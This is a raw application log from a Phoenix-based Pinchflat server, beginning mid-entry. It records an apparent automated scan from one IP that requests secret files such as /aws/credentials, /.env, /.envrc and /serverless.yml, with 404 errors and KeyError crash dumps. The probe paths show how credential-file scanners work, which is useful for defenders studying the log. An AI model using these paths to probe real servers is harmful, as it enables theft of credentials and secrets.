must-revalidate"}, {"x-request-id", "GLXUxQ3AgCE7pgUAACsE"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 14, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_sample", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cache-control" => "max-age=0", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Wi (truncated) 04:52:50.513 [info] GET /aws/credentials 04:52:50.515 [debug] QUERY OK source="settings" db=0.4ms idle=14.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.515 [debug] QUERY OK source="settings" db=0.3ms idle=14.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.516 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.511 [error] #PID<0.139019.0> running PinchflatWeb.Endpoint (connection #PID<0.138998.0>, stream id 4) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /api/shared/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139019.0>, params: %{}, path_info: ["api", "shared", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/api/shared/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQ43vUdmG-8ADZuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/shared/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/shared/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", (truncated) 04:52:50.517 [error] #PID<0.139020.0> running PinchflatWeb.Endpoint (connection #PID<0.139004.0>, stream id 3) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139020.0>, params: %{}, path_info: ["aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxQ6fYGCy0q0AABYI"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139004.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/credentials", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46204}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139020.0>, params: %{}, path_info: ["aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", (truncated) 04:52:50.589 [info] GET /serverless.yml 04:52:50.589 [info] GET /functions/.runtimeconfig.json 04:52:50.589 [info] GET /firebase-debug.log 04:52:50.590 [info] GET /serverless.yaml 04:52:50.590 [info] GET /dist/.env 04:52:50.590 [info] GET /.envrc 04:52:50.592 [debug] QUERY OK source="settings" db=1.8ms queue=0.1ms idle=82.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.593 [debug] QUERY OK source="settings" db=2.3ms queue=0.3ms idle=88.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.593 [debug] QUERY OK source="settings" db=2.5ms queue=0.1ms idle=81.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.594 [debug] QUERY OK source="settings" db=2.9ms idle=75.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.594 [debug] QUERY OK source="settings" db=3.1ms idle=75.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.595 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.595 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.595 [debug] QUERY OK source="settings" db=3.0ms queue=1.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.596 [debug] QUERY OK source="settings" db=3.2ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.597 [debug] QUERY OK source="settings" db=2.0ms queue=0.4ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.597 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.597 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.598 [debug] QUERY OK source="settings" db=4.2ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.600 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.601 [debug] QUERY OK source="settings" db=4.8ms queue=0.3ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.601 [debug] QUERY OK source="settings" db=7.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.601 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.602 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.598 [error] #PID<0.139021.0> running PinchflatWeb.Endpoint (connection #PID<0.138998.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /serverless.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serverless (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139021.0>, params: %{}, path_info: ["serverless"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/serverless.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxRMmJp-weYwADZvB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138998.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serverless.yml", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46184}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => 